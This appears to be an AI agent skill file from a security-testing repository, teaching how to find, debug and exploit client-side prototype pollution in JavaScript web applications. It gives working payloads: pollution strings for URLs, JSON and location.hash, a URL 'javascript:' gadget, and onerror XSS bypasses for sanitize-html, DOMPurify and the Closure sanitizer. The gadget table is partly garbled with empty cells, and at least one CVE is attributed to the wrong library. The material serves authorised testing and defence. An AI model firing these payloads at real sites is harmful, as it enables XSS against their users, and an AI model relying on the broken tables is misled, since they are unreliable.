Hacktricks-skills client-side-prototype-pollution
How to discover, debug, and exploit client-side prototype pollution vulnerabilities in JavaScript applications. Use this skill whenever the user mentions prototype pollution, __proto__, constructor.prototype, Object.prototype, or wants to find XSS via prototype pollution in web applications. Also use when debugging JavaScript vulnerabilities, analyzing JS libraries for pollution sinks, or when the user needs to generate prototype pollution payloads for security testing.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution/SKILL.MDClient-Side Prototype Pollution
A skill for discovering, debugging, and exploiting client-side prototype pollution vulnerabilities in JavaScript applications.
When to Use This Skill
Use this skill when:
- The user wants to find prototype pollution vulnerabilities in a web application
- The user needs to debug where a polluted property is being set or accessed
- The user wants to generate payloads for testing prototype pollution
- The user is analyzing JavaScript libraries for pollution sinks
- The user needs to understand how to bypass HTML sanitizers via prototype pollution
- The user mentions
,__proto__
,constructor.prototype
, or similar patternsObject.prototype
Discovery Methods
Automated Tools
Use these tools to automatically detect prototype pollution:
| Tool | Purpose | Link |
|---|---|---|
| ppfuzz | Fuzzes for prototype pollution | https://github.com/dwisiswant0/ppfuzz |
| ppmap | Maps pollution paths | https://github.com/kleiton0x00/ppmap |
| proto-find | Finds vulnerable code | https://github.com/kosmosec/proto-find |
| PPScan | Browser extension for scanning | https://github.com/msrkp/PPScan |
| Burp DOM Invader | Professional tool with PP tab | Built into Burp Suite v2023.6+ |
| protoStalker | Chrome DevTools plugin (2024) | Visualizes prototype chains |
Manual Discovery
Search for these keywords in Chrome DevTools:
location.hashlocation.searchdecodeURIComponentJSON.parseObject.assign
(lodash)_.mergedeepMerge
Debugging Prototype Pollution
Break on Property Access
Use this script in Chrome DevTools to find where a property is accessed:
// Stop debugger where 'potentialGadget' property is accessed Object.defineProperty(Object.prototype, "potentialGadget", { __proto__: null, get() { console.trace() return "test" }, })
Find Root Cause
- Get a payload from a tool (e.g.,
)constructor[prototype][ppmap]=reserved - Set breakpoint at first line of JS code
- Refresh page with payload
- Run this script in console:
function debugAccess(obj, prop, debugGet = true) { var origValue = obj[prop] Object.defineProperty(obj, prop, { get: function () { if (debugGet) debugger return origValue }, set: function (val) { debugger origValue = val }, }) } debugAccess(Object.prototype, "ppmap")
- Resume execution and examine the call stack
- Target stacks in library files (not minified app code)
- The first occurrence in the stack is usually the root cause
Finding Gadgets
A gadget is code that gets abused once pollution is discovered.
Search for These Keywords
srcdocinnerHTMLiframecreateElementevalFunctionsetTimeoutsetInterval
Browser-Built-In Gadgets (2023+)
These work on every page in modern browsers:
| Gadget Class | Property | Effect |
|---|---|---|
| | JS execution via |
| | Alert via notification click |
| | JS in dedicated Worker |
| | Traditional XSS |
| | DOM-based Open Redirect |
Example: URL Gadget
// Pollute the href property Object.prototype.href = 'javascript:alert(`polluted`)' ; // Trigger the gadget new URL('#'); // Executes the polluted href
HTML Sanitizer Bypasses
sanitize-html
// Pollute before sanitizer runs Object.prototype.innerHTML = '<img/src/onerror=alert(1)>';
DOMPurify
// Pollute before sanitizer runs Object.prototype.after = '<img/src/onerror=alert(1)>';
Closure Library
<script> Object.prototype['* ONERROR'] = 1; Object.prototype['* SRC'] = 1; </script> <script src="https://google.github.io/closure-library/source/closure/goog/base.js"></script> <script> goog.require('goog.html.sanitizer.HtmlSanitizer'); goog.require('goog.dom'); </script> <script> const html = '<img src onerror=alert(1)>'; const sanitizer = new goog.html.sanitizer.HtmlSanitizer(); const sanitized = sanitizer.sanitize(html); const node = goog.dom.safeHtmlToNode(sanitized); document.body.append(node); </script>
Payload Generation
Common Payload Patterns
// Basic pollution __proto__[polluted]=1 constructor[prototype][polluted]=1 // For URL parameters ?__proto__[polluted]=1 ?constructor[prototype][polluted]=1 // For JSON input {"__proto__": {"polluted": 1}} {"constructor": {"prototype": {"polluted": 1}}} // For location.hash #__proto__[polluted]=1
Library-Specific Payloads
lodash < 4.17.22:
__proto__[polluted]=1
jQuery 3.6.0-3.6.3:
// Via location.hash #__proto__[polluted]=1
DOMPurify ≤ 3.0.8:
__proto__[after]=<img/src/onerror=alert(1)>
Notable CVEs
| CVE | Library | Version | Impact |
|---|---|---|---|
| CVE-2024-45801 | DOMPurify | ≤ 3.0.8 | Stored XSS via |
| CVE-2023-26136 | jQuery | 3.6.0-3.6.3 | Arbitrary prototype pollution |
| CVE-2023-26140 | jQuery | 3.6.0-3.6.3 | Arbitrary prototype pollution |
| N/A | sanitize-html | < 2.8.1 | XSS via innerHTML |
Defensive Measures
For Developers
-
Freeze prototypes early:
Object.freeze(Object.prototype); Object.freeze(Array.prototype); Object.freeze(Map.prototype); -
Use structuredClone() instead of deep merge:
const copy = structuredClone(obj); -
Use safe merge libraries:
- lodash ≥ 4.17.22
- deepmerge ≥ 5.3.0
-
Add Content-Security-Policy:
Content-Security-Policy: script-src 'self';
For Security Testers
- Always test with and without the skill to compare results
- Document the exact pollution path (source → sink)
- Verify the gadget actually executes (not just pollution)
- Check for stored vs reflected vs DOM-based vectors
Workflow
- Discover - Use automated tools or manual search
- Debug - Find where pollution occurs using breakpoints
- Identify Gadget - Find code that reads polluted properties
- Generate Payload - Create working exploit
- Verify - Confirm execution (alert, network request, etc.)
- Document - Record the full chain for reporting
References
- PortSwigger Research: https://portswigger.net/research/widespread-prototype-pollution-gadgets
- BlackFan Client-Side PP: https://github.com/BlackFan/client-side-prototype-pollution
- Securitum Research: https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/
- Snyk DOMPurify CVE: https://snyk.io/blog/dompurify-prototype-pollution-bypass-cve-2024-45801/